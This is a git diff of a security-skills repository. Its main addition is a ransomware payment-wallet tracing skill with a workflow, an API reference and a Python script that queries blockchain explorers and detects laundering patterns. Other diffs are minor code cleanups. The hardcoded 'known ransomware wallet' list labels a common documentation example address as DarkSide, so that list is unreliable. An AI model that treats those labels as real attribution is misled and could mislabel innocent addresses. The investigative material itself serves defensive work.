graph visualization + +## Workflow + +### Step 1: Extract Wallet Address from Ransom Note + +Parse the ransom note to identify the payment address(es): + +``` +Common address formats: + Bitcoin (P2PKH): 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa (starts with 1) + Bitcoin (P2SH): 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy (starts with 3) + Bitcoin (Bech32): bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq (starts with bc1) + Monero: 4... (95 characters, much harder to trace) + Ethereum: 0x... (40 hex chars) +``` + +### Step 2: Query Blockchain Explorer for Transaction History + +Retrieve all transactions associated with the wallet: + +```python +import requests + +def get_wallet_transactions(address): + """Query blockchain.com API for address transactions.""" + url = f"https://blockchain.info/rawaddr/{address}" + resp = requests.get(url, timeout=30) + resp.raise_for_status() + data = resp.json() + return { + "address": address, + "n_tx": data.get("n_tx", 0), + "total_received_satoshi": data.get("total_received", 0), + "total_sent_satoshi": data.get("total_sent", 0), + "final_balance_satoshi": data.get("final_balance", 0), + "transactions": data.get("txs", []), + } +``` + +### Step 3: Map Fund Flow and Identify Clusters + +Trace outputs from the ransom wallet to downstream addresses: + +``` +Fund Flow Analysis: +━━━━━━━━━━━━━━━━━━ +Victim Payment ──► Ransom Wallet ──► Consolidation Wallet + ├─► Mixer/Tumbler Service + ├─► Exchange Deposit Address + └─► Peel Chain (sequential small outputs) + +Key indicators: + - Consolidation: Multiple ransom payments aggregated into one wallet + - Peel chains: Sequential transactions with diminishing outputs + - Mixer usage: Funds sent to known mixer addresses (Wasabi, Samourai, ChipMixer) + - Exchange cashout: Deposits to known exchange wallets (Binance, Kraken hot wallets) +``` + +### Step 4: Cross-Reference with Known Wallet Databases + +Check addresses against known ransomware infrastructure: + +```python +# Check WalletExplorer for entity identification +def check_wallet_explorer(address): + url = f"https://www.walletexplorer.com/api/1/address?address={address}&caller=research" + resp = requests.get(url, timeout=30) + data = resp.json() + return { + "wallet_id": data.get("wallet_id"), + "label": data.get("label", "Unknown"), + "is_exchange": data.get("is_exchange", False), + } +``` + +### Step 5: Generate Attribution Report + +Compile findings into a structured intelligence report: + +``` +RANSOMWARE WALLET ANALYSIS REPORT +==================================== +Ransom Address: bc1q...xyz +Family Attribution: LockBit 3.0 (based on ransom note format) +Total Received: 4.25 BTC ($178,500 at time of payment) +Total Sent: 4.25 BTC (wallet fully drained) +Number of Payments: 3 (likely 3 separate victims) + +FUND FLOW: + Payment 1: 1.5 BTC → Consolidation wallet → Binance deposit + Payment 2: 1.0 BTC → Wasabi Mixer → Unknown + Payment 3: 1.75 BTC → Peel chain (12 hops) → OKX deposit + +CLUSTER ANALYSIS: + Related wallets: 47 addresses identified in same cluster + Total cluster volume: 156.3 BTC ($6.5M USD) + First activity: 2024-01-15 + Last activity: 2024-09-22 +``` + +## Verification + +- Confirm wallet address format is valid before querying APIs +- Cross-reference transaction timestamps with known incident timelines +- Validate cluster associations by checking common-input-ownership heuristic +- Compare findings against OFAC SDN list for sanctioned addresses +- Verify exchange attribution against multiple sources (WalletExplorer, OXT, Chainalysis) + +## Key Concepts + +| Term | Definition | +|------|------------| +| **UTXO** | Unspent Transaction Output; the fundamental unit of Bitcoin that tracks ownership through a chain of transactions | +| **Cluster Analysis** | Grouping multiple Bitcoin addresses believed to be controlled by the same entity using common-input-ownership and change-address heuristics | +| **Peel Chain** | A laundering pattern where funds are sent through many sequential transactions, each peeling off a small amount to a new address | +| **CoinJoin/Mixer** | Privacy techniques that combine multiple users' transactions to obscure the link between sender and receiver | +| **Common Input Ownership** | Heuristic that assumes all inputs to a single transaction are controlled by the same entity | + +## Tools & Systems + +- **Chainalysis Reactor**: Enterprise blockchain investigation platform with entity attribution and cross-chain tracing +- **WalletExplorer**: Free tool that clusters Bitcoin addresses and labels known services (exchanges, mixers, markets) +- **OXT.me**: Advanced Bitcoin transaction visualization with UTXO graph analysis +- **Blockstream.info**: Open-source Bitcoin block explorer with full API access +- **blockchain.com API**: Free API for querying Bitcoin address balances and transaction histories +- **OFAC SDN List**: U.S. Treasury sanctioned address list for compliance checking diff --git a/skills/analyzing-ransomware-payment-wallets/references/api-reference.md b/skills/analyzing-ransomware-payment-wallets/references/api-reference.md new file mode 100644 index 00000000..d1472779 --- /dev/null +++ b/skills/analyzing-ransomware-payment-wallets/references/api-reference.md @@ -0,0 +1,97 @@ +# API Reference: Ransomware Payment Wallet Analysis + +## blockchain.com API + +### Get Address Information +``` +GET https://blockchain.info/rawaddr/{address}?limit=50 +``` + +Returns transaction history, balance, and UTXO data for a Bitcoin address. + +### Response Fields +| Field | Type | Description | +|-------|------|-------------| +| `address` | string | Bitcoin address | +| `n_tx` | int | Total number of transactions | +| `total_received` | int | Total satoshis received | +| `total_sent` | int | Total satoshis sent | +| `final_balance` | int | Current balance in satoshis | +| `txs` | array | Array of transaction objects | + +### Get Single Transaction +``` +GET https://blockchain.info/rawtx/{tx_hash} +``` + +### Get Unspent Outputs +``` +GET https://blockchain.info/unspent?active={address} +``` + +## Blockstream.info API + +### Get Address Stats +``` +GET https://blockstream.info/api/address/{address} +``` + +### Response Fields +| Field | Type | Description | +|-------|------|-------------| +| `chain_stats.funded_txo_count` | int | Number of funding transactions | +| `chain_stats.spent_txo_count` | int | Number of spending transactions | +| `chain_stats.funded_txo_sum` | int | Total satoshis funded | +| `chain_stats.spent_txo_sum` | int | Total satoshis spent | + +### Get Address Transactions +``` +GET https://blockstream.info/api/address/{address}/txs +``` + +## WalletExplorer API + +### Look Up Address +``` +GET https://www.walletexplorer.com/api/1/address?address={address}&caller=research +``` + +### Response Fields +| Field | Type | Description | +|-------|------|-------------| +| `wallet_id` | string | Cluster wallet identifier | +| `label` | string | Known entity label (exchange, mixer, etc.) | +| `is_exchange` | bool | Whether address belongs to known exchange | + +### Get Wallet Transactions +``` +GET https://www.walletexplorer.com/api/1/wallet-addresses?wallet={wallet_id}&caller=research +``` + +## Bitcoin Address Formats + +| Format | Prefix | Example | Notes | +|--------|--------|---------|-------| +| P2PKH (Legacy) | 1 | 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa | Original format | +| P2SH (SegWit compatible) | 3 | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy | Script hash | +| Bech32 (Native SegWit) | bc1q | bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq | Lower fees | +| Bech32m (Taproot) | bc1p | bc1p... | Newest format | + +## Common Ransomware Wallet Indicators + +| Pattern | Significance | +|---------|-------------| +| Single large inbound, rapid outbound | Ransom payment received, quickly laundered | +| Multiple small inbound from different addresses | Multiple victims paying same wallet | +| Outbound to known mixer addresses | Laundering through CoinJoin/mixer services | +| Peel chain (sequential diminishing outputs) | Structured laundering to evade detection | +| Transfer to exchange hot wallet | Cash-out attempt via cryptocurrency exchange | + +## OFAC SDN Sanctions Check + +``` +Download list: https://www.treasury.gov/ofac/downloads/sdnlist.txt +Search API: https://sanctionssearch.ofac.treas.gov/ +``` + +Check addresses against OFAC Specially Designated Nationals list for compliance. diff --git a/skills/analyzing-ransomware-payment-wallets/scripts/agent.py b/skills/analyzing-ransomware-payment-wallets/scripts/agent.py new file mode 100644 index 00000000..21f01b6f --- /dev/null +++ b/skills/analyzing-ransomware-payment-wallets/scripts/agent.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python3 +"""Ransomware payment wallet blockchain analysis agent. + +Traces cryptocurrency payment flows from ransomware wallets using public +blockchain APIs. Identifies transaction patterns, cluster relationships, +and fund movement to exchanges or mixers. +""" + +import json +import re +import sys + +try: + import requests +except ImportError: + print("[!] 'requests' library required: pip install requests") + sys.exit(1) + +BLOCKCHAIN_API = "https://blockchain.info" +BLOCKSTREAM_API = "https://blockstream.info/api" + +BTC_ADDRESS_REGEX = re.compile( + r"^(1[a-km-zA-HJ-NP-Z1-9]{25,34}|3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{39,59})$" +) + +KNOWN_RANSOMWARE_WALLETS = { + "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw": "WannaCry", + "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94": "WannaCry", + "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn": "WannaCry", + "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX": "DarkSide (Colonial Pipeline)", + "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh": "DarkSide", +} + + +def validate_btc_address(address): + """Validate Bitcoin address format.""" + if BTC_ADDRESS_REGEX.match(address): + return True + return False + + +def query_address_info(address): + """Query blockchain.info for address details.""" + url = f"{BLOCKCHAIN_API}/rawaddr/{address}?limit=50" + resp = requests.get(url, timeout=30) + resp.raise_for_status() + data = resp.json() + return { + "address": address, + "total_received_btc": data.get("total_received", 0) / 1e8, + "total_sent_btc": data.get("total_sent", 0) / 1e8, + "final_balance_btc": data.get("final_balance", 0) / 1e8, + "n_tx": data.get("n_tx", 0), + "transactions": data.get("txs", []), + } + + +def query_blockstream_address(address): + """Query Blockstream API for address stats (fallback).""" + url = f"{BLOCKSTREAM_API}/address/{address}" + resp = requests.get(url, timeout=30) + resp.raise_for_status() + data = resp.json() + chain = data.get("chain_stats", {}) + return { + "address": address, + "funded_txo_count": chain.get("funded_txo_count", 0), + "spent_txo_count": chain.get("spent_txo_count", 0), + "funded_txo_sum_btc": chain.get("funded_txo_sum", 0) / 1e8, + "spent_txo_sum_btc": chain.get("spent_txo_sum", 0) / 1e8, + } + + +def extract_output_addresses(transactions, source_address): + """Extract downstream addresses from transaction outputs.""" + downstream = {} + for tx in transactions: + tx_hash = tx.get("hash", "unknown") + is_outgoing = any( + inp.get("prev_out", {}).get("addr") == source_address + for inp in tx.get("inputs", []) + ) + if not is_outgoing: + continue + for out in tx.get("out", []): + addr = out.get("addr") + value = out.get("value", 0) / 1e8 + if addr and addr != source_address: + if addr not in downstream: + downstream[addr] = {"total_btc": 0, "tx_count": 0, "tx_hashes": []} + downstream[addr]["total_btc"] += value + downstream[addr]["tx_count"] += 1 + downstream[addr]["tx_hashes"].append(tx_hash[:16]) + return downstream + + +def check_known_wallets(address): + """Check if address matches known ransomware wallets.""" + if address in KNOWN_RANSOMWARE_WALLETS: + return {"known": True, "family": KNOWN_RANSOMWARE_WALLETS[address]} + return {"known": False, "family": None} + + +def detect_peel_chain(transactions, address): + """Detect peel chain pattern in outgoing transactions.""" + outgoing_values = [] + for tx in transactions: + is_outgoing = any( + inp.get("prev_out", {}).get("addr") == address + for inp in tx.get("inputs", []) + ) + if is_outgoing: + outputs = [o.get("value", 0) / 1e8 for o in tx.get("out", []) if o.get("addr") != address] + outgoing_values.extend(outputs) + + if len(outgoing_values) < 3: + return {"peel_chain_detected": False, "reason": "Insufficient transactions"} + + decreasing = sum(1 for i in range(1, len(outgoing_values)) if outgoing_values[i] < outgoing_values[i - 1]) + ratio = decreasing / (len(outgoing_values) - 1) if len(outgoing_values) > 1 else 0 + return { + "peel_chain_detected": ratio > 0.6, + "decreasing_ratio": round(ratio, 3), + "num_outputs": len(outgoing_values), + } + + +def analyze_wallet(address): + """Full analysis of a ransomware payment wallet.""" + report = {"analysis_type": "Ransomware Payment Wallet Analysis", "address": address} + + if not validate_btc_address(address): + report["error"] = f"Invalid Bitcoin address format: {address}" + return report + + report["known_wallet_check"] = check_known_wallets(address) + + try: + info = query_address_info(address) + report["wallet_info"] = { + "total_received_btc": info["total_received_btc"], + "total_sent_btc": info["total_sent_btc"], + "final_balance_btc": info["final_balance_btc"], + "transaction_count": info["n_tx"], + } + + downstream = extract_output_addresses(info["transactions"], address) + report["downstream_addresses"] = { + "count": len(downstream), + "top_recipients": sorted( + [{"address": a, **d} for a, d in downstream.items()], + key=lambda x: x["total_btc"], + reverse=True, + )[:10], + } + + for recipient in report["downstream_addresses"]["top_recipients"]: + match = check_known_wallets(recipient["address"]) + recipient["known_entity"] = match["family"] if match["known"] else "Unknown" + + report["peel_chain_analysis"] = detect_peel_chain(info["transactions"], address) + except requests.RequestException as e: + report["error"] = f"API query failed: {e}" + try: + fallback = query_blockstream_address(address) + report["wallet_info_blockstream"] = fallback + except requests.RequestException as e2: + report["fallback_error"] = f"Blockstream fallback also failed: {e2}" + + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Ransomware Payment Wallet Analysis Agent") + print("Blockchain tracing, cluster analysis, fund flow mapping") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage:") + print(" python agent.py ") + print(" python agent.py --deep") + print("\nExample:") + print(" python agent.py 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw") + sys.exit(0) + + address = sys.argv[1] + print(f"\n[*] Analyzing wallet: {address}") + + report = analyze_wallet(address) + + known = report.get("known_wallet_check", {}) + if known.get("known"): + print(f"[!] KNOWN RANSOMWARE WALLET: {known['family']}") + + info = report.get("wallet_info", {}) + if info: + print(f"\n--- Wallet Summary ---") + print(f" Total received: {info.get('total_received_btc', 0):.8f} BTC") + print(f" Total sent: {info.get('total_sent_btc', 0):.8f} BTC") + print(f" Balance: {info.get('final_balance_btc', 0):.8f} BTC") + print(f" Transactions: {info.get('transaction_count', 0)}") + + ds = report.get("downstream_addresses", {}) + if ds.get("count", 0) > 0: + print(f"\n--- Top Downstream Recipients ({ds['count']} total) ---") + for r in ds.get("top_recipients", [])[:5]: + entity = r.get("known_entity", "Unknown") + print(f" {r['address'][:20]}... {r['total_btc']:.8f} BTC [{entity}]") + + peel = report.get("peel_chain_analysis", {}) + if peel.get("peel_chain_detected"): + print(f"\n[!] Peel chain pattern detected (ratio: {peel['decreasing_ratio']})") + + if report.get("error"): + print(f"\n[!] Error: {report['error']}") + + print(f"\n[*] Full report:\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-security-logs-with-splunk/scripts/agent.py b/skills/analyzing-security-logs-with-splunk/scripts/agent.py index 0ec3bc8e..01162338 100644 --- a/skills/analyzing-security-logs-with-splunk/scripts/agent.py +++ b/skills/analyzing-security-logs-with-splunk/scripts/agent.py @@ -2,11 +2,10 @@ """Agent for analyzing security logs with Splunk using splunk-sdk.""" import os -import sys import json import time import argparse -from datetime import datetime, timedelta +from datetime import datetime import splunklib.client as client import splunklib.results as results diff --git a/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py b/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py index eefb514d..c43b8cb1 100644 --- a/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py +++ b/skills/analyzing-slack-space-and-file-system-artifacts/scripts/agent.py @@ -2,7 +2,6 @@ """Agent for analyzing NTFS slack space and file system artifacts.""" import os -import sys import json import struct import argparse @@ -14,7 +13,7 @@ from pathlib import Path def parse_mft_with_analyzeMFT(mft_path, output_csv): """Parse MFT using analyzeMFT and return deleted/timestomped files.""" cmd = ["analyzeMFT.py", "-f", mft_path, "-o", output_csv, "-c"] - subprocess.run(cmd, check=True) + subprocess.run(cmd, check=True, timeout=120) return output_csv @@ -22,7 +21,7 @@ def extract_slack_space(image_path, offset, output_path): """Extract slack space from a disk image using blkls from The Sleuth Kit.""" cmd = ["blkls", "-s", "-o", str(offset), image_path] with open(output_path, "wb") as out: - subprocess.run(cmd, stdout=out, check=True) + subprocess.run(cmd, stdout=out, check=True, timeout=120) return output_path @@ -92,7 +91,7 @@ def parse_usn_journal(usn_path): def find_ads_in_image(image_path, offset): """List Alternate Data Streams using fls from The Sleuth Kit.""" cmd = ["fls", "-r", "-o", str(offset), image_path] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) ads_entries = [line for line in result.stdout.splitlines() if ":" in line] return ads_entries diff --git a/skills/analyzing-supply-chain-malware-artifacts/SKILL.md b/skills/analyzing-supply-chain-malware-artifacts/SKILL.md index c0586919..f35915e0 100644 --- a/skills/analyzing-supply-chain-malware-artifacts/SKILL.md +++ b/skills/analyzing-supply-chain-malware-artifacts/SKILL.md @@ -23,7 +23,7 @@ Supply chain attacks compromise legitimate software distribution channels to del - Access to legitimate software versions for comparison - Package repository monitoring (npm, PyPI, NuGet) -## Practical Steps +## Workflow ### Step 1: Binary Comparison Analysis diff --git a/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py b/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py index a3a711bf..91492772 100644 --- a/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py +++ b/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py @@ -135,8 +135,7 @@ if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else None if not target: - print(" -[DEMO] Usage:") + print("\n[DEMO] Usage:") print(" python agent.py # Analyze npm package") print(" python agent.py npm: # Check npm registry") print(" python agent.py pypi: # Check PyPI registry") @@ -144,17 +143,14 @@ if __name__ == "__main__": if target.startswith("npm:"): pkg_name = target[4:] - print(f" -[*] Checking npm: {pkg_name}") + print(f"\n[*] Checking npm: {pkg_name}") info = check_npm_package(pkg_name) typos = detect_typosquat_packages(pkg_name) print(json.dumps(info, indent=2)) - print(f" - Potential typosquats: {typos[:10]}") + print(f"\n Potential typosquats: {typos[:10]}") elif target.startswith("pypi:"): pkg_name = target[5:] - print(f" -[*] Checking PyPI: {pkg_name}") + print(f"\n[*] Checking PyPI: {pkg_name}") info = check_pypi_package(pkg_name) print(json.dumps(info, indent=2)) elif os.path.exists(target): diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md b/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md index 9d35b413..b42d84d8 100644 --- a/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md @@ -36,7 +36,7 @@ ATT&CK catalogs over 140 threat groups (e.g., APT28, APT29, Lazarus Group, FIN7) The ATT&CK Navigator is a web-based tool for creating custom ATT&CK matrix visualizations. Analysts create layers (JSON files) that annotate techniques with scores, colors, comments, and metadata to visualize threat actor coverage, detection capabilities, or risk assessments. -## Practical Steps +## Workflow ### Step 1: Query ATT&CK Data Programmatically diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py b/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py index 612bc461..14a2d077 100644 --- a/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py @@ -122,8 +122,7 @@ if __name__ == "__main__": print(f"[*] Loaded {len(techniques)} techniques, {len(groups)} groups") if not group_query: - print(" ---- Available Groups (sample) ---") + print("\n--- Available Groups (sample) ---") for gid, g in list(groups.items())[:15]: print(f" {g['id']:8s} {g['name']}") sys.exit(0) @@ -133,23 +132,20 @@ if __name__ == "__main__": print(f"[!] Group not found: {group_query}") sys.exit(1) - print(f" -[*] Group: {ginfo['name']} ({ginfo['id']})") + print(f"\n[*] Group: {ginfo['name']} ({ginfo['id']})") print(f" Aliases: {', '.join(ginfo['aliases'][:5])}") ttps = map_group_techniques(bundle, gid, techniques) print(f" Techniques: {len(ttps)}") coverage = tactic_coverage(ttps) - print(" ---- Tactic Coverage ---") + print("\n--- Tactic Coverage ---") for tactic, info in sorted(coverage.items(), key=lambda x: -x[1]["count"]): bar = "#" * info["count"] print(f" {tactic:35s} {info['count']:3d} {bar}") sample_detections = [t["id"] for t in ttps[:len(ttps)//2]] gaps, pct = detection_gaps(ttps, sample_detections) - print(f" ---- Detection Gaps (demo: {pct}% coverage) ---") + print(f"\n--- Detection Gaps (demo: {pct}% coverage) ---") for g in gaps[:10]: print(f" [GAP] {g['id']:12s} {g['name']}") diff --git a/skills/analyzing-threat-intelligence-feeds/scripts/agent.py b/skills/analyzing-threat-intelligence-feeds/scripts/agent.py index d6bbfdac..683cc851 100644 --- a/skills/analyzing-threat-intelligence-feeds/scripts/agent.py +++ b/skills/analyzing-threat-intelligence-feeds/scripts/agent.py @@ -4,11 +4,10 @@ import os import json import argparse -from datetime import datetime, timedelta +from datetime import datetime, timedelta, timezone from taxii2client.v21 import Server, Collection, as_pages -from stix2 import Filter, MemoryStore, Indicator, Relationship, Bundle -from stix2 import ThreatActor, Malware +from stix2 import Indicator, Bundle def discover_taxii_server(url, user=None, password=None): @@ -95,7 +94,7 @@ def score_feed_quality(indicators, known_good_iocs=None): 1 for i in indicators if i.get("valid_from") and datetime.fromisoformat(i["valid_from"].replace("Z", "+00:00")) - > datetime.now(tz=__import__("datetime").timezone.utc) - timedelta(days=90) + > datetime.now(tz=timezone.utc) - timedelta(days=90) ) score = int( (with_confidence / total * 25) + diff --git a/skills/analyzing-threat-landscape-with-misp/SKILL.md b/skills/analyzing-threat-landscape-with-misp/SKILL.md index 958fb35d..04a4d688 100644 --- a/skills/analyzing-threat-landscape-with-misp/SKILL.md +++ b/skills/analyzing-threat-landscape-with-misp/SKILL.md @@ -14,6 +14,9 @@ author: mahipal license: Apache-2.0 --- + +# Analyzing Threat Landscape with MISP + ## Instructions 1. Install dependencies: `pip install pymisp` diff --git a/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py b/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py index 7b3c23d7..76f24ed2 100644 --- a/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py +++ b/skills/analyzing-tls-certificate-transparency-logs/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for analyzing Certificate Transparency logs for phishing detection.""" -import os import json import argparse from datetime import datetime diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md b/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md index 6dc3fd2f..03229165 100644 --- a/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md @@ -36,7 +36,7 @@ DNSTwist uses ssdeep (locality-sensitive hash) to compare HTML content and pHash The typical workflow is: generate domain permutations -> resolve DNS records -> check for registered domains -> compare web page similarity -> flag suspicious domains -> alert security team -> request takedown. For a typical corporate domain, dnstwist generates 5,000-10,000 permutations. -## Practical Steps +## Workflow ### Step 1: Basic Domain Permutation Scan diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py b/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py index 0c9e4b2f..4ab25728 100644 --- a/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py @@ -75,11 +75,9 @@ if __name__ == '__main__': print('=' * 60) domain = sys.argv[1] if len(sys.argv) > 1 else None if not domain: - print(' -[DEMO] Usage: python agent.py ') + print('\n[DEMO] Usage: python agent.py ') sys.exit(0) - print(f' -[*] Target: {domain}') + print(f'\n[*] Target: {domain}') dnstwist_results = run_dnstwist_cli(domain) if dnstwist_results: print(f'[*] dnstwist found {len(dnstwist_results)} permutations') @@ -95,5 +93,4 @@ if __name__ == '__main__': for r in resolved[:15]: print(f' {r["domain"]:40s} {", ".join(r["ips"])}') risk = 'HIGH' if len(resolved) > 20 else 'MEDIUM' if len(resolved) > 5 else 'LOW' - print(f' -[*] Risk: {risk}') + print(f'\n[*] Risk: {risk}') diff --git a/skills/analyzing-usb-device-connection-history/scripts/agent.py b/skills/analyzing-usb-device-connection-history/scripts/agent.py index 352c64ad..3b71efc8 100644 --- a/skills/analyzing-usb-device-connection-history/scripts/agent.py +++ b/skills/analyzing-usb-device-connection-history/scripts/agent.py @@ -5,7 +5,6 @@ import os import json import argparse import csv -from datetime import datetime from regipy.registry import RegistryHive @@ -45,7 +44,6 @@ def parse_usbstor(system_hive_path): def parse_mounted_devices(system_hive_path): """Parse MountedDevices to map drive letters to USB devices.""" - import struct reg = RegistryHive(system_hive_path) mounted_key = reg.get_key("MountedDevices") mappings = [] diff --git a/skills/analyzing-web-server-logs-for-intrusion/SKILL.md b/skills/analyzing-web-server-logs-for-intrusion/SKILL.md index cf55207d..b001cac8 100644 --- a/skills/analyzing-web-server-logs-for-intrusion/SKILL.md +++ b/skills/analyzing-web-server-logs-for-intrusion/SKILL.md @@ -13,6 +13,9 @@ author: mahipal license: Apache-2.0 --- + +# Analyzing Web Server Logs for Intrusion + ## Instructions 1. Install dependencies: `pip install geoip2 user-agents` diff --git a/skills/analyzing-windows-amcache-artifacts/scripts/agent.py b/skills/analyzing-windows-amcache-artifacts/scripts/agent.py index 2818ad87..f50a0ab4 100644 --- a/skills/analyzing-windows-amcache-artifacts/scripts/agent.py +++ b/skills/analyzing-windows-amcache-artifacts/scripts/agent.py @@ -7,10 +7,8 @@ file metadata, and device information using the regipy library. import argparse import json -import os import sys import datetime -import struct try: from regipy.registry import RegistryHive diff --git a/skills/analyzing-windows-lnk-files-for-artifacts/scripts/agent.py b/skills/analyzing-windows-lnk-files-for-artifacts/scripts/agent.py index 904fdbd1..c5dc510d 100644 --- a/skills/analyzing-windows-lnk-files-for-artifacts/scripts/agent.py +++ b/skills/analyzing-windows-lnk-files-for-artifacts/scripts/agent.py @@ -6,7 +6,6 @@ import json import csv import argparse from datetime import datetime -from pathlib import Path import LnkParse3 diff --git a/skills/analyzing-windows-shellbag-artifacts/scripts/agent.py b/skills/analyzing-windows-shellbag-artifacts/scripts/agent.py index a59581ce31d6c8d0ceb77bb619fc087268e1aac8..f7f13062824671dcf5b04f228201dbb745c52d1d 100644 GIT binary patch delta 1666 zcmZ`(%}*Ow5SPK&<{8%b3mXjNVH_5luXXtlY%#=b9Y9Lb6jP~@aUBPq!!~A(cGnV4 zKx$RBx3<9Cdds1=Ms1|1hhCaf4s8^ve?dRgs<*0#_7YLGZ{J%RlhVEH%aN<<+C3%UKkSMiEkWb}O2JD|+41YYp=qy`nb4hF0A)>fUxy-!3b+ z>h4z2AcnF-V9FMAAY^DY8E)DFGYHdXC7ms-WtLa7>uWb~3a@Kbg2>(`*){Mg1J7t$ zMUz=Bt9)Qf!Vk7yNVfEcS@fK2^CP_85}8B@Wmhs+uDp_7E?iHquVg92Jys>EMpY-8 zDB~RSO)eUI-*VA&b?r@Y>`ZI~opA@@?N)S7ni=mLVySuFK&AFTfnO&NsI_ zY@HT#3zJqJAOyYk7%bU``%i(1QPos@t)dbZV_JM*pMXd9OYoOH31ZvDjdQaR+9D;q zThw$?(6>psTu=G!83=yuhHNP?qUij=VbWD5rddB3d_y}EBM&yhEJUl z_{y1rKb>PR=;}X4L0EVBVcRw0-`JBRaSW@)9a5;2N;)y(aNjj*L-0@tz|XEM%(hFc z(fjS*-v2?yGctVH9-&1$t|4D@OWi1HM*J8JgNO)xL^&LJ<$<`Zzn zkm;O+YG;gpF{zmk+rQ5{$En(ZwmYOIbH!c41uElDLKxCQlv+hkAG{}smi0vNS=M90 z4$lSL9NSNt6_1bSDx-WxWhfiT|O>p zNl~{H^|m$6aMu82x~8DkH42|~rQtXF_IqP6=S{$-cN9MH%J8i>2`663!TRT6+BXDm z`Eu~c_cHw9!{GIsvzZ&V>hHCznt#c%p80z$>uaMC^HX|A9J oa4B>FZiXVTAG!wLg(j#PCn3qxMAU2x3*j+P!hP^z_%$2)7fm+KJpcdz delta 1775 zcmZuxO>7%Q6vnY*d)Hq7$4+cFoj5;^^J~+n5JO6hk|sfgSaEVFu4T5#xN+jFo!vDw zM3FdykSGJHdI50@>TSD`aNZ?z^70T;N%d3Tr^=o8-Y^Y5tiS*VM zZRljxh+|1r>uQ!;bML#Bj74JKSfYRfJ?8)|J^fr><96N5dE~t!*EAr;UtwkG>ec6S z%jJA-W2FGPBkq$_^rlADWR?^=B3~;D7ayzIo{^`gwL)rC;alWc@+5Q!PU(?EmT}G6 z)2U**B(eLwvz!(1pWZa!sC^y>h?VWw30aJ@_w7ND)`SRqVDAO#YdgmMr#%5EIwko2^djTh@ol9IqYlmXu7N-&F2Ev@>hWl@>~y57Ea`D^9~;BlrO#K}H!4+mRhn3EYl`^}9*;FCs7 zExO^yM{!A-j&(xh8baX6JqowpY?^c)o09YNvmd1diU%ITqMl(c#@WlB0E+iK=h%ry zV9XQkEDd|q{4EGG+Kk+2P-S}@6HT2y*L*>ijEAIJSD;Fly#oWSl)AbF4;!{i@y?pX zuT+)os&ccH@u%KF$oM<&1&j2qZxX~wUk<4r7x5<5kCPC?bQq`V zdia9>v>SM_55ng`_hmQ+_*3{Lz_G}T@$76y(!R5Yu=gVPjC>V|1O6OYgv$K~IkBlf diff --git a/skills/auditing-azure-active-directory-configuration/scripts/agent.py b/skills/auditing-azure-active-directory-configuration/scripts/agent.py index 21a3b042..92b16eab 100644 --- a/skills/auditing-azure-active-directory-configuration/scripts/agent.py +++ b/skills/auditing-azure-active-directory-configuration/scripts/agent.py @@ -7,7 +7,6 @@ import argparse from datetime import datetime, timedelta from azure.identity import DefaultAzureCredential, ClientSecretCredential -from azure.mgmt.authorization import AuthorizationManagementClient import requests @@ -21,7 +20,7 @@ def graph_get(token, endpoint, params=None): """Make an authenticated GET request to Microsoft Graph API.""" headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} url = f"https://graph.microsoft.com/v1.0{endpoint}" - resp = requests.get(url, headers=headers, params=params) + resp = requests.get(url, headers=headers, params=params, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/auditing-gcp-iam-permissions/scripts/agent.py b/skills/auditing-gcp-iam-permissions/scripts/agent.py index 8f739c15..7a7fb5d7 100644 --- a/skills/auditing-gcp-iam-permissions/scripts/agent.py +++ b/skills/auditing-gcp-iam-permissions/scripts/agent.py @@ -1,14 +1,12 @@ #!/usr/bin/env python3 """Agent for auditing GCP IAM permissions using google-cloud libraries.""" -import os import json import argparse from datetime import datetime from google.cloud import asset_v1 from google.cloud import resourcemanager_v3 